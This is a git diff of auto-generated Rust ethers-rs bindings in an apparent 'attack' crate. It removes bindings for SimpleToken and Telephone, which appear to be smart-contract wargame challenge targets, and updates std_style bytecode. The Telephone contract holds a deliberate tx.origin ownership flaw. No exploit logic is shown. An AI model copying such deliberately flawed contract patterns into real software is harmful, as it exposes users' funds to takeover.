`\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15a\x01\xD2WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15a\x01\xF1W\x82\x81U`\x01\x01a\x01\xDEV[PPP[PPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15a\x02\x13Wa\x02\x13a\0\\V[a\x02'\x81a\x02!\x84Ta\x01qV[\x84a\x01\xABV[` \x80`\x1F\x83\x11`\x01\x81\x14a\x02\\W`\0\x84\x15a\x02DWP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ua\x01\xF1V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15a\x02\x8BW\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01a\x02lV[P\x85\x82\x10\x15a\x02\xA9W\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[a\x03\xEF\x80a\x02\xC8`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0BW`\x005`\xE0\x1C\x80b\xF5]\x9D\x14a\0kW\x80c\x06\xFD\xDE\x03\x14a\0\x8DW\x80c'\xE25\xE3\x14a\0\xB8W\x80c\xA9\x05\x9C\xBB\x14a\0\xF3W`\0\x80\xFD[6a\0fWa\0R4`\na\x02UV[3`\0\x90\x81R`\x01` R`@\x90 \x81\x90U\0[`\0\x80\xFD[4\x80\x15a\0wW`\0\x80\xFD[Pa\0\x8Ba\0\x866`\x04a\x02\x97V[a\x01\x13V[\0[4\x80\x15a\0\x99W`\0\x80\xFD[Pa\0\xA2a\x01,V[`@Qa\0\xAF\x91\x90a\x02\xBBV[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xC4W`\0\x80\xFD[Pa\0\xE5a\0\xD36`\x04a\x02\x97V[`\x01` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01a\0\xAFV[4\x80\x15a\0\xFFW`\0\x80\xFD[Pa\0\x8Ba\x01\x0E6`\x04a\x03'V[a\x01\xBAV[\x80s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\xFF[`\0\x80Ta\x019\x90a\x03SV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01e\x90a\x03SV[\x80\x15a\x01\xB2W\x80`\x1F\x10a\x01\x87Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x01\xB2V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x01\x95W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x81V[3`\0\x90\x81R`\x01` R`@\x90 T\x81\x11\x15a\x01\xD6W`\0\x80\xFD[3`\0\x90\x81R`\x01` R`@\x90 Ta\x01\xF1\x90\x82\x90a\x03\xA6V[3`\0\x90\x81R`\x01` R`@\x80\x82 \x92\x90\x92Us\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x93\x90\x93\x16\x83R\x90\x91 UV[\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x02lWa\x02la\x02&V[\x92\x91PPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\x94W`\0\x80\xFD[PV[`\0` \x82\x84\x03\x12\x15a\x02\xA9W`\0\x80\xFD[\x815a\x02\xB4\x81a\x02rV[\x93\x92PPPV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x02\xE8W\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x02\xCCV[P`\0`@\x82\x86\x01\x01R`@\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[`\0\x80`@\x83\x85\x03\x12\x15a\x03:W`\0\x80\xFD[\x825a\x03E\x81a\x02rV[\x94` \x93\x90\x93\x015\x93PPPV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x03gW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x03\xA0W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x81\x81\x03\x81\x81\x11\x15a\x02lWa\x02la\x02&V\xFE\xA2dipfsX\"\x12 \0\xF3\0\0\x8BO3\xAB\x14)z*:\xB2\xF41\x97\xAAA)_\x93\x15\xE3\xE4h.\xFC6\"\xE1\xC8dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static SIMPLETOKEN_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0BW`\x005`\xE0\x1C\x80b\xF5]\x9D\x14a\0kW\x80c\x06\xFD\xDE\x03\x14a\0\x8DW\x80c'\xE25\xE3\x14a\0\xB8W\x80c\xA9\x05\x9C\xBB\x14a\0\xF3W`\0\x80\xFD[6a\0fWa\0R4`\na\x02UV[3`\0\x90\x81R`\x01` R`@\x90 \x81\x90U\0[`\0\x80\xFD[4\x80\x15a\0wW`\0\x80\xFD[Pa\0\x8Ba\0\x866`\x04a\x02\x97V[a\x01\x13V[\0[4\x80\x15a\0\x99W`\0\x80\xFD[Pa\0\xA2a\x01,V[`@Qa\0\xAF\x91\x90a\x02\xBBV[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xC4W`\0\x80\xFD[Pa\0\xE5a\0\xD36`\x04a\x02\x97V[`\x01` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01a\0\xAFV[4\x80\x15a\0\xFFW`\0\x80\xFD[Pa\0\x8Ba\x01\x0E6`\x04a\x03'V[a\x01\xBAV[\x80s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\xFF[`\0\x80Ta\x019\x90a\x03SV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01e\x90a\x03SV[\x80\x15a\x01\xB2W\x80`\x1F\x10a\x01\x87Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x01\xB2V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x01\x95W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x81V[3`\0\x90\x81R`\x01` R`@\x90 T\x81\x11\x15a\x01\xD6W`\0\x80\xFD[3`\0\x90\x81R`\x01` R`@\x90 Ta\x01\xF1\x90\x82\x90a\x03\xA6V[3`\0\x90\x81R`\x01` R`@\x80\x82 \x92\x90\x92Us\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x93\x90\x93\x16\x83R\x90\x91 UV[\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x02lWa\x02la\x02&V[\x92\x91PPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\x94W`\0\x80\xFD[PV[`\0` \x82\x84\x03\x12\x15a\x02\xA9W`\0\x80\xFD[\x815a\x02\xB4\x81a\x02rV[\x93\x92PPPV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x02\xE8W\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x02\xCCV[P`\0`@\x82\x86\x01\x01R`@\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[`\0\x80`@\x83\x85\x03\x12\x15a\x03:W`\0\x80\xFD[\x825a\x03E\x81a\x02rV[\x94` \x93\x90\x93\x015\x93PPPV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x03gW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x03\xA0W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x81\x81\x03\x81\x81\x11\x15a\x02lWa\x02la\x02&V\xFE\xA2dipfsX\"\x12 \0\xF3\0\0\x8BO3\xAB\x14)z*:\xB2\xF41\x97\xAAA)_\x93\x15\xE3\xE4h.\xFC6\"\xE1\xC8dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static SIMPLETOKEN_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct SimpleToken(::ethers::contract::Contract); - impl ::core::clone::Clone for SimpleToken { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for SimpleToken { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for SimpleToken { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for SimpleToken { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(SimpleToken)) - .field(&self.address()) - .finish() - } - } - impl SimpleToken { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - SIMPLETOKEN_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - SIMPLETOKEN_ABI.clone(), - SIMPLETOKEN_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `balances` (0x27e235e3) - /// function - pub fn balances( - &self, - p0: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([39, 226, 53, 227], p0) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `destroy` (0x00f55d9d) - /// function - pub fn destroy( - &self, - to: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([0, 245, 93, 157], to) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `name` (0x06fdde03) - /// function - pub fn name( - &self, - ) -> ::ethers::contract::builders::ContractCall - { - self.0 - .method_hash([6, 253, 222, 3], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `transfer` (0xa9059cbb) - /// function - pub fn transfer( - &self, - to: ::ethers::core::types::Address, - amount: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([169, 5, 156, 187], (to, amount)) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for SimpleToken - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `balances` function with signature - /// `balances(address)` and selector `0x27e235e3` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "balances", abi = "balances(address)")] - pub struct BalancesCall(pub ::ethers::core::types::Address); - ///Container type for all input parameters for the - /// `destroy` function with signature `destroy(address)` - /// and selector `0x00f55d9d` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "destroy", abi = "destroy(address)")] - pub struct DestroyCall { - pub to: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `name` function with signature `name()` and selector - /// `0x06fdde03` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "name", abi = "name()")] - pub struct NameCall; - ///Container type for all input parameters for the - /// `transfer` function with signature - /// `transfer(address,uint256)` and selector - /// `0xa9059cbb` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "transfer", abi = "transfer(address,uint256)")] - pub struct TransferCall { - pub to: ::ethers::core::types::Address, - pub amount: ::ethers::core::types::U256, - } - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum SimpleTokenCalls { - Balances(BalancesCall), - Destroy(DestroyCall), - Name(NameCall), - Transfer(TransferCall), - } - impl ::ethers::core::abi::AbiDecode for SimpleTokenCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Balances(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Destroy(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Name(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Transfer(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for SimpleTokenCalls { - fn encode(self) -> Vec { - match self { - Self::Balances(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Destroy(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Name(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Transfer(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for SimpleTokenCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Balances(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Destroy(element) => ::core::fmt::Display::fmt(element, f), - Self::Name(element) => ::core::fmt::Display::fmt(element, f), - Self::Transfer(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for SimpleTokenCalls { - fn from(value: BalancesCall) -> Self { Self::Balances(value) } - } - impl ::core::convert::From for SimpleTokenCalls { - fn from(value: DestroyCall) -> Self { Self::Destroy(value) } - } - impl ::core::convert::From for SimpleTokenCalls { - fn from(value: NameCall) -> Self { Self::Name(value) } - } - impl ::core::convert::From for SimpleTokenCalls { - fn from(value: TransferCall) -> Self { Self::Transfer(value) } - } - ///Container type for all return fields from the - /// `balances` function with signature - /// `balances(address)` and selector `0x27e235e3` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct BalancesReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the `name` - /// function with signature `name()` and selector - /// `0x06fdde03` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct NameReturn(pub ::std::string::String); -} diff --git a/attack/src/abi/std_style.rs b/attack/src/abi/std_style.rs index 50f83e4..486ee62 100644 --- a/attack/src/abi/std_style.rs +++ b/attack/src/abi/std_style.rs @@ -26,12 +26,12 @@ pub mod std_style { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`V`7`\x0B\x82\x82\x829\x80Q`\0\x1A`s\x14`*WcNH{q`\xE0\x1B`\0R`\0`\x04R`$`\0\xFD[0`\0R`s\x81S\x82\x81\xF3\xFEs\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x000\x14`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \x89?\x80n|\x13\xAB\xCE\xBE\xF2\x03*\x9Dt\xF2F\x14\x1E@\x0E\xC4\xAB\xDD\xC9]\xFD-\x88\xC9\xA9\xABRdsolcC\0\x08\x14\x003"; + const __BYTECODE: &[u8] = b"`V`7`\x0B\x82\x82\x829\x80Q`\0\x1A`s\x14`*WcNH{q`\xE0\x1B`\0R`\0`\x04R`$`\0\xFD[0`\0R`s\x81S\x82\x81\xF3\xFEs\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x000\x14`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 ? \x86\xF6\xD3\xDEg\x96 v\xA8|\xD8vK\x02\x86\xAB\x82>\xE9\x93\xA6.\x8C\xA4\xFB\xC69J\xFD\xB9dsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static STDSTYLE_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"s\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x000\x14`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \x89?\x80n|\x13\xAB\xCE\xBE\xF2\x03*\x9Dt\xF2F\x14\x1E@\x0E\xC4\xAB\xDD\xC9]\xFD-\x88\xC9\xA9\xABRdsolcC\0\x08\x14\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"s\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x000\x14`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 ? \x86\xF6\xD3\xDEg\x96 v\xA8|\xD8vK\x02\x86\xAB\x82>\xE9\x93\xA6.\x8C\xA4\xFB\xC69J\xFD\xB9dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static STDSTYLE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/attack/src/abi/telephone.rs b/attack/src/abi/telephone.rs deleted file mode 100644 index 435ac1f..0000000 --- a/attack/src/abi/telephone.rs +++ /dev/null @@ -1,299 +0,0 @@ -pub use telephone::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod telephone { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("changeOwner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("changeOwner"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_owner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("owner"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("owner"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static TELEPHONE_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90Ua\x01W\x80a\x002`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14a\0;W\x80c\xA6\xF9\xDA\xE1\x14a\0\x84W[`\0\x80\xFD[`\0Ta\0[\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x97a\0\x926`\x04a\0\xE4V[a\0\x99V[\0[23\x14a\0\xE1W`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16\x17\x90U[PV[`\0` \x82\x84\x03\x12\x15a\0\xF6W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x01\x1AW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 %X\xCC\xC9\xFDht\xFF\xBB\xA1\x0E\xAA\xD8V5\xAA\xE1\xCC\xD6?s\xA6\x9F\x08\xD2m3\xABU\x88&\xD9dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static TELEPHONE_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14a\0;W\x80c\xA6\xF9\xDA\xE1\x14a\0\x84W[`\0\x80\xFD[`\0Ta\0[\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\x97a\0\x926`\x04a\0\xE4V[a\0\x99V[\0[23\x14a\0\xE1W`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x83\x16\x17\x90U[PV[`\0` \x82\x84\x03\x12\x15a\0\xF6W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x01\x1AW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 %X\xCC\xC9\xFDht\xFF\xBB\xA1\x0E\xAA\xD8V5\xAA\xE1\xCC\xD6?s\xA6\x9F\x08\xD2m3\xABU\x88&\xD9dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static TELEPHONE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct Telephone(::ethers::contract::Contract); - impl ::core::clone::Clone for Telephone { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Telephone { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Telephone { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Telephone { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Telephone)) - .field(&self.address()) - .finish() - } - } - impl Telephone { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - TELEPHONE_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - TELEPHONE_ABI.clone(), - TELEPHONE_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `changeOwner` (0xa6f9dae1) - /// function - pub fn change_owner( - &self, - owner: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([166, 249, 218, 225], owner) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for Telephone - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `changeOwner` function with signature - /// `changeOwner(address)` and selector `0xa6f9dae1` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - 